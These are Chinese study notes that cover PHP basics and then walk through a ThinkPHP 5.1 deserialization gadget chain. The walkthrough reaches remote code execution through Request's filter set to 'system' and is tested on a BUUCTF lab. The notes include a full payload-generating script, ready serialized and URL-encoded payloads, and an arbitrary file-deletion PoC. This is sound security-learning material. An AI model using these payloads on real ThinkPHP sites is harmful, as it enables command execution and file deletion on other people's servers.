一、Thinkphp简介

1、了解

ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架

image-20211229170046240

2、目录结构

project  应用部署目录
├─application           应用目录(可设置)
│  ├─common             公共模块目录(可更改)
│  ├─index              模块目录(可更改)
│  │  ├─config.php      模块配置文件
│  │  ├─common.php      模块函数文件
│  │  ├─controller      控制器目录
│  │  ├─model           模型目录
│  │  ├─view            视图目录
│  │  └─ ...            更多类库目录
│  ├─command.php        命令行工具配置文件
│  ├─common.php         应用公共(函数)文件
│  ├─config.php         应用(公共)配置文件
│  ├─database.php       数据库配置文件
│  ├─tags.php           应用行为扩展定义文件
│  └─route.php          路由配置文件
├─extend                扩展类库目录(可定义)
├─public                WEB 部署目录(对外访问目录)
│  ├─static             静态资源存放目录(css,js,image)
│  ├─index.php          应用入口文件
│  ├─router.php         快速测试文件
│  └─.htaccess          用于 apache 的重写
├─runtime               应用的运行时目录(可写,可设置)
├─vendor                第三方类库目录(Composer)
├─thinkphp              框架系统目录
│  ├─lang               语言包目录
│  ├─library            框架核心类库目录
│  │  ├─think           Think 类库包目录
│  │  └─traits          系统 Traits 目录
│  ├─tpl                系统模板目录
│  ├─.htaccess          用于 apache 的重写
│  ├─.travis.yml        CI 定义文件
│  ├─base.php           基础定义文件
│  ├─composer.json      composer 定义文件
│  ├─console.php        控制台入口文件
│  ├─convention.php     惯例配置文件
│  ├─helper.php         助手函数文件(可选)
│  ├─LICENSE.txt        授权说明文件
│  ├─phpunit.xml        单元测试配置文件
│  ├─README.md          README 文件
│  └─start.php          框架引导文件
├─build.php             自动生成定义文件(参考)
├─composer.json         composer 定义文件
├─LICENSE.txt           授权说明文件
├─README.md             README 文件
├─think                 命令行入口文件

二、PHP学习

1、namespace

https://www.php.net/manual/zh/language.namespaces.rationale.php

广义上来讲,命名空间是一种封装事物的方法。

具体举个例子,文件 foo.txt 可以同时在目录 /home/greg/home/other 中存在,但在同一个目录中不能存在两个 foo.txt 文件。这两个 foo.txt 相应的父目录 /home/greg/home/other 就是两个不同的命名空间。

(1)命名空间的定义
(2)命名空间的使用: \
(3)namespace关键字和__NAMESPACE__常量
(4)别名和导入

PHP 可以为这些项目导入或设置别名: 常量、函数、类、接口、命名空间。

我的理解为:从其他命名空间导入,并且可以命名

(5)函数、常量和类
 <?php
namespace my\name; // 定义命名空间,如果没有定义任何命名空间,所有的类与函数的定义都是在全局空间(为空)

class MyClass {}

----
function myfunction() {} //这是在命名空间 my\name 中的 myfunction()
$f = \myfunction(); // 调用全局的fopen函数
const MYCONST = 1;
----
    
$c = new ArrayObject; // 致命错误, 找不到 A\B\C\ArrayObject 类

----
$a = new MyClass;
$c = new \my\name\MyClass; // 这两个调用是一样的,不过使用了命名空间
----
    
----
function strlen($str)
{
    return \strlen($str) - 1;//在全局空间中搜寻,就是一个系统函数
}
$a = strlen('hi'); // 命名空间中的函数或常量,会优先在该命名空间中搜寻
----
 
$d = namespace\MYCONST; // namespace关键字 为当前命名空间,调用现在命名空间中的常量MYCONST

$d = __NAMESPACE__ . '\MYCONST'; //__NAMESPACE__ 常量,为字符类型

echo constant($d); // 输出1  参数为字符串,必须为当前命名空间
echo constant('my\name\MYCONST'); //两个一样
?> 

2、继承类extend

(1)当扩展一个类,子类就会继承父类所有 public 和 protected 的方法,属性和常量。除非子类覆盖了父类的方法,被继承的方法都会保留其原有功能。
(2)子类无法访问父类的私有方法。
 <?php
class Foo{  
     public function printItem($string)  {    
         echo 'Foo: ' . $string . PHP_EOL;
     }    
     public function printPHP()  {    
         echo 'PHP is great.' . PHP_EOL;
     }
 }
class Bar extends Foo{  
    public function printItem($string)  {    
        echo 'Bar: ' . $string . PHP_EOL;
    }
}
$foo = new Foo();
$bar = new Bar();
$foo->printItem('baz'); // 输出: 'Foo: baz'
$foo->printPHP();    // 输出: 'PHP is great' 
$bar->printItem('baz'); // 输出: 'Bar: baz'
$bar->printPHP();    // 输出: 'PHP is great'?> 

这个例子中,子类Bar继承了父类Foo,保留了父类的函数,同时在命名冲突的情况下,覆盖了父类的方法

3、trait 和 class

(1)trait的使用

使用trait要用use

自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字

(2)trait不能实例化
trait zx{
    //    const sss = 9;  //不能使用const
    public static function tt(){
        echo 'tt';
    }
    public function yy(){
        echo 'yy';
    }
}
	
class uu{
    
    use zx;  //trait 的使用
    
    const rr = 0;
    public static function ty(){
        echo 'ty';
    }

    public function yu(){
        echo 'yu';
    }
}

uu::tt();  //输出tt  static
echo '<br>';
uu::ty();  //输出ty   static
echo '<br>';
$u = new uu();
$u->yu();  //输出yu  
echo '<br>';
$u->yy(); //输出yy

4、array_unshift()函数 和 array_key_exist()函数

(1)array_unshift()

在数组开头插入一个或多个单元

$queue = array("orange", "banana");
array_unshift($queue, "apple", "raspberry");
print_r($queue);
//$queue=array("apple","rasberry","orange","banana")

数组中的所有数字键名会被重新排序(包括字符串数字)

例如: [0] [1] [q] [2]

字符键名保持不变

(2)array_key_exist()

判断数组的键是否存在,返回bool

$a=array("Volvo"=>"XC90","BMW"=>"X5");
if (array_key_exists("Volvo",$a))
  {
  echo "键存在!";   //输出键存在
  }
else
  {
  echo "键不存在!";
  }

5、__call方法

该方法有两个参数,__call($name,$args)

$name就是方法名

$args`就是方法参数,返回值为数组

$a=new st();
$a->qwe(1,2);//不存在该方法
//$name=qwe
//$args=[1,2]

三、反序列化pop链挖掘

本次以学习思路为主,主要跟着教程一起做

https://blog.csdn.net/qq_43380549/article/details/101265818

1、漏洞挖掘思路

基本上接触到的反序列化漏洞都是利用魔术方法,魔术方法的调用导致一个类可以调用另一个类

以至于产生漏洞。

魔术方法:

比如:__destruct __tostring __call __construct等等

__destruct 在一个函数的调用结束后,便会执行,从这开始应该更好利用

2、漏洞分析

(1)搜寻__destruct方法

image-20211229192627402

四个方法中,只有在/thinkphp/library/think/process/pipes/Windows.php中的方法有多余的调用,其他三个都是结束进程

我们以他为起点,开始挖掘;跟进removeFiles()函数

namespace think\process\pipes;

class Windows extends Pipes
{
    private $files=[];

    private function removeFiles()
        {
            foreach ($this->files as $filename) {
                if (file_exists($filename)) {
                    @unlink($filename);
                }
            }
            $this->files = [];
        }
}

代码逻辑是 遍历$this->files数组中的文件,若存在就删除

参数$files是可控的,那么我们就可以 造成任意文件删除漏洞

POC构造:

class Pipes{
    
}

class Windows extends Pipes
{
    private $files=[];
    
    class function __construct(){
        $this->files=['想要删除文件的路径'];
    }
}

echo base64_encode(serialize(new windows()); 
(2)接下来,就要找注入点

removeFile()函数中,调用了一个file_exists($filename)

这个函数会将$filename当做字符串来处理

若我们$filename传入一个类,就会触发类中的__toString方法

因此,全局搜索__toString,Conversion.php中调用了一个该方法,该方法又调用了toJson()

image-20220103194714402

跟进toJson()

image-20220103195108475

其中又调用了toArray(),跟进toArray()

我们需要在toArray()函数中寻找一个满足$可控变量->方法(参数可控)的

这样在调用__toString方法时,就能调用我们控制的方法

trait Conversion
{
    protected $append = [];
    ......
    public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];
        ......
        // 追加属性(必须定义获取器)
            if (!empty($this->append)) {
                foreach ($this->append as $key => $name) {
                    if (is_array($name)) {
                        // 追加关联对象属性
                        $relation = $this->getRelation($key);

                        if (!$relation) {
                            $relation = $this->getAttr($key);
                            $relation->visible($name);
                        }
                        ......

toArray()中,

$relation=$this->getRelation($key);

跟进getRelation(),它位于Attribute类中

参数$key$append控制

image-20220103195539703

但是在这句的后面if (!$relation),那么这个函数直接让它返回空就好了

跟进getAttr()

image-20220103195806165

跟进getData()

trait Attribute
{
	private $data = [];
    ......

image-20220103195853903

到这能观察到,**$relation的值就是$this->data[$name]**

由于是trait类,继承需要用到use,那么需要找到一个子类,同时继承AttributeConversion

(3)全局搜索use

Model.php找到了一个类

image-20220104101318047

梳理一下目前需要控制的参数:

1.$files位于Windows.php的类Windows

2.$append位于Conversion.php的类Conversion

3.$data位于Attribute.php的类Attribute

利用链如下:

Start —> Windows->__destruct() —> Windows->removeFiles() —> file_exists() —>

Model->__toString() —> Model->toJson() —> Model->toArray()

3、代码执行点分析

第二步,找到了我们可以控制的方法:

$relation = $this->getAttr($key);
//`$relation`的值就是`$this->data[$name]`
$relation->visible($name);

并且$data$name(就是$append数组的值,也是一个数组)都可控,这样让$relation等于一个类,来满足下一条语句

接下来就要找到代码执行的点,而且类中不能有visible方法

所以要寻找__call方法,因为这个方法经常包含call_user_func()call_user_func__array()

这两个函数就能造成任意代码执行

__call方法,在调用了类中不存在的方法后会触发,全局搜索后,在Request.php中找到

class Request
{
    protected $hook=[];
    ......

image-20220104135558150

这里的$args是可控的,$hook也是可控的,$method=visible

那么就可以构造$hook

$hook=['visible'=>'method']

“但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。这种情况下我们是构造不出可用的payload的。”

(这里我不是很理解,虽然数组插入了新元素,但是 [‘visible’=>’method’] 还是我们控制的,$args也是我们控制的,这样函数不是就能执行了吗?)

更新:

我的理解:因为$args是被插入的数组,而$args是call_user_func_array()的参数,元素插入之后,参数变多,就无法执行了

在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }

    $name = (string) $name;
    if ('' != $name) {
        // 解析name
        if (strpos($name, '/')) {
            list($name, $type) = explode('/', $name);
        }

      **$data = $this->getData($data, $name);**
	......

    // 解析过滤器
  **$filter = $this->getFilter($filter, $default);**

    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        if (version_compare(PHP_VERSION, '7.1.0', '<')) {
            // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
            $this->arrayReset($data);
        }
    } 
    else {
        $this->filterValue($data, $name, $filter);
    }
    ......
    return $data;
}

为了控制input()的参数,因为这些参数都是形式参数,我们先看看谁调用了input()

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
        $method = $this->method(true);
        ......
        // 当前请求参数和URL地址中的参数合并
        $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
        //get()函数
        ....
    }
    if (true === $name) {
           ......
    }
    return $this->input($this->param, $name, $default, $filter);
}

这里的参数仍然不可控,看看谁调用了param()

class Request
{
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
   	......
    ];
    ......

可以看到param()的参数是可控制的,就是数组$config中的var_ajax

isAjax()$config可控说明param()$name可控

param()$name可控,说明input()$name可控,而$data就是param中的$this->param,是通过$_GET赋值的

回到input()$data = $this->getData($data, $name);跟进getData()

image-20220104161422332

$data就是$data[$val],就是$_GET传入的值

继续往下看,$filter = $this->getFilter($filter, $default);,跟进getFilter()

image-20220104162224855

这里的$fileter来自于$this->filter

继续往下看,这是一个回调函数,[$this,'filterValue']是调用该类中的filterValue()函数

第一个参数$data为数组,是由$_GET传入的

数组的键作为函数的第二个参数,数组的值作为函数的第一个参数,$filter就是第三个参数

......
if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
    ......
private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);

    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } elseif (is_scalar($value)) {
            if (false !== strpos($filter, '/')) {
                // 正则过滤
                if (!preg_match($filter, $value)) {
                    // 匹配不成功返回默认值
                    $value = $default;
                    break;
  			......

    return $value;
}

$value = call_user_func($filter, $value);

$filter是可控的,$value也是可控的($_GET传入,是传入的值),这样就能执行我们想要执行的函数

这样,所有的参数都可控了,捋一下思路:

1、Windows.php的类Windows

2、Model.php的抽象类Model,所以要找一个类继承Model,Pivot.php的类Pivot

image-20220104165344615

3、Request.php的类Request

尝试构造playload:

<?php
namespace think;

abstract class Model{//Attribute 和 Conversion
    protected $append=[];
    private $data=[];
    function __construct(){
        $this->append=['ethan'=>['calc.exe','calc']]; 
        $this->data=['ethan'=>new Request()]; //进入Request()的__call()
    }
}
//namespace think; 相同的命名空间,可以省略
class Request
{
    protected $hook=[];
    protected $filter="system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    
    function __construct(){
        $this->config=['var_ajax'=>'']; //为空就能满足param的条件
        $this->hook=['visible'=>[$this,'isAjax']]; //__call中调用自身类中的方法isAjax
        $this->filter='system';  //可控
    }
}
    
namespace think\process\pipes; //程序入口
use think\model\concern\Conversion; //Conversion所处的命名空间,用到了类中的__toString方法
use think\model\Pivot;  //继承了抽象类 Model,要不然Model用不了
    
class Windows
{
    private $files=[];
    public function __construct(){
        $this->files=[new Pivot()]; //这样程序入口就和其他类链接上了
    }
}

namespace think\model; //类Pivot,必须有,要不然无法序列化
use think\Model;

class Pivot extends Model
{
}

use think\process\pipes\Windows;  //最后包含程序入口的命名空间,序列化Windows
echo urlencode(serialize(new Windows()));

?>

反序列化字符串为:

O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;O:17:"think\model\Pivot":2:{s:9:"*append";a:1:{s:5:"ethan";a:2:{i:0;s:8:"calc.exe";i:1;s:4:"calc";}}s:17:"think\Modeldata";a:1:{s:5:"ethan";O:13:"think\Request":3:{s:7:"*hook";a:1:{s:7:"visible";a:2:{i:0;r:9;i:1;s:6:"isAjax";}}s:9:"*filter";s:6:"system";s:9:"*config";a:1:{s:8:"var_ajax";s:0:"";}}}}}} 

url编码后的反序列化字符串为:

O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A8%3A%22calc.exe%22%3Bi%3A1%3Bs%3A4%3A%22calc%22%3B%7D%7Ds%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A5%3A%22ethan%22%3BO%3A13%3A%22think%5CRequest%22%3A3%3A%7Bs%3A7%3A%22%00%2A%00hook%22%3Ba%3A1%3A%7Bs%3A7%3A%22visible%22%3Ba%3A2%3A%7Bi%3A0%3Br%3A9%3Bi%3A1%3Bs%3A6%3A%22isAjax%22%3B%7D%7Ds%3A9%3A%22%00%2A%00filter%22%3Bs%3A6%3A%22system%22%3Bs%3A9%3A%22%00%2A%00config%22%3Ba%3A1%3A%7Bs%3A8%3A%22var_ajax%22%3Bs%3A0%3A%22%22%3B%7D%7D%7D%7D%7D%7D 

然后直接在BUUCTF上开个靶场,传入反序列化字符串

image-20220104220546845

image-20220104222416716

image-20220104222427131

总结:

而在实战中,若是存在这种反序列化的点,就有可能会造成RCE

这次学习,算是第一次接触这么复杂的东西,也是第一次反序列化利用链挖掘,收获了许多东西,希望自己能越来越强!加油!